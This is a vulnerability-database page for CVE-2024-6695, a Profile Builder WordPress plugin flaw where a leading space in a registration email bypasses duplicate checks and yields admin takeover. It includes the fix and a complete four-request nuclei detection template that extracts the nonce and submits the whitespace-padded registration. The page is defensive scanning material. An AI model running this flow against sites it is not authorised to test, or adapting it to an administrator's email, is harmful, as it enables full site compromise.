HexBrain

Browse / CVEs / CVE-2024-6695

CVE-2024-6695· cozmoslabs / profile-builder· CWE-269

Profile Builder <= 3.11.8 - Unauthenticated Privilege Escalation

criticalseverity
9.8CVSS score
2.8%likelihood of exploitation, next 30 days
86%of all CVEs are less likely
Readycheck to confirm it

Profile Builder and Profile Builder Pro WordPress plugins up to and including 3.11.8 compare the submitted registration email against existing users and pending signups without trimming whitespace. Because MySQL string equality ignores trailing spaces but PHP does not, and a leading space desyncs the two checks entirely, an unauthenticated attacker can register a pending signup bound to an existing user's email (e.g. the administrator) by submitting that email with a leading space. When the signup is later activated it collides with the existing account, granting the attacker administrative access without holding any account on the site. Exploitation requires the plugin's Email Confirmation feature to be enabled and a page containing the [wppb-register] shortcode.

Impact

An unauthenticated attacker can obtain administrative access to the WordPress site, leading to full site compromise.

Fix

Update Profile Builder / Profile Builder Pro to 3.11.9 or later, which trims the email before the duplicate-account and pending-signup checks.

How to confirm it

Send: GET /wp-json/wp/v2/pages?search=wppb-register&_fields=link
Positive when: contains "\"link\""
Send: GET /{{slug}}/
Positive when: contains "register_unspecified_nonce_field"
Send: POST /{{slug}}/
Positive when: contains "confirm your email address"
Send: POST /{{slug}}/
Positive when: contains "confirm your email address" AND not contains "already reserved to be used" or "already in use"

Run it with nuclei: nuclei -id CVE-2024-6695 -u <target>

The full check
id: CVE-2024-6695

info:
  name: Profile Builder <= 3.11.8 - Unauthenticated Privilege Escalation
  author: DhiyaneshDk
  severity: critical
  description: |
    Profile Builder and Profile Builder Pro WordPress plugins up to and including 3.11.8 compare the submitted registration email against existing users and pending signups without trimming whitespace. Because MySQL string equality ignores trailing spaces but PHP does not, and a leading space desyncs the two checks entirely, an unauthenticated attacker can register a pending signup bound to an existing user's email (e.g. the administrator) by submitting that email with a leading space. When the signup is later activated it collides with the existing account, granting the attacker administrative access without holding any account on the site. Exploitation requires the plugin's Email Confirmation feature to be enabled and a page containing the [wppb-register] shortcode.
  impact: |
    An unauthenticated attacker can obtain administrative access to the WordPress site, leading to full site compromise.
  remediation: |
    Update Profile Builder / Profile Builder Pro to 3.11.9 or later, which trims the email before the duplicate-account and pending-signup checks.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6695
    - https://wpscan.com/vulnerability/CVE-2024-6695
    - https://plugins.trac.wordpress.org/changeset?old_path=/profile-builder/tags/3.11.8&new_path=/profile-builder/tags/3.11.9
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-6695
    epss-score: 0.00796
    epss-percentile: 0.56779
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 4
    vendor: cozmoslabs
    product: profile-builder
    framework: wordpress
    publicwww-query: "/wp-content/plugins/profile-builder/"
  tags: cve,cve2024,wordpress,wp-plugin,profile-builder,priv-esc,intrusive,vkev

variables:
  email: "{{to_lower(rand_text_alpha(10))}}@{{to_lower(rand_text_alpha(7))}}.com"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /wp-json/wp/v2/pages?search=wppb-register&_fields=link HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - '"link"'
        internal: true

    extractors:
      - type: regex
        name: slug
        part: body
        internal: true
        group: 1
        regex:
          - '"link":"[^"]*?\\/([a-zA-Z0-9_-]+)\\/?"'

  - raw:
      - |
        GET /{{slug}}/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - 'register_unspecified_nonce_field'
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'name="register_unspecified_nonce_field"[^>]*?value="([0-9a-f]+)"'

  - raw:
      - |
        POST /{{slug}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_name=unspecified&action=register&username={{to_lower(rand_text_alpha(9))}}&email={{email}}&passw1=Str0ngP4ss!23&passw2=Str0ngP4ss!23&register_unspecified_nonce_field={{nonce}}&_wp_http_referer=%2F{{slug}}%2F

    matchers:
      - type: word
        part: body
        words:
          - 'confirm your email address'
        internal: true

  - raw:
      - |
        POST /{{slug}}/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_name=unspecified&action=register&username={{to_lower(rand_text_alpha(9))}}&email=%20{{email}}&passw1=Str0ngP4ss!23&passw2=Str0ngP4ss!23&register_unspecified_nonce_field={{nonce}}&_wp_http_referer=%2F{{slug}}%2F

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'confirm your email address'

      - type: word
        part: body
        negative: true
        words:
          - 'already reserved to be used'
          - 'already in use'
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from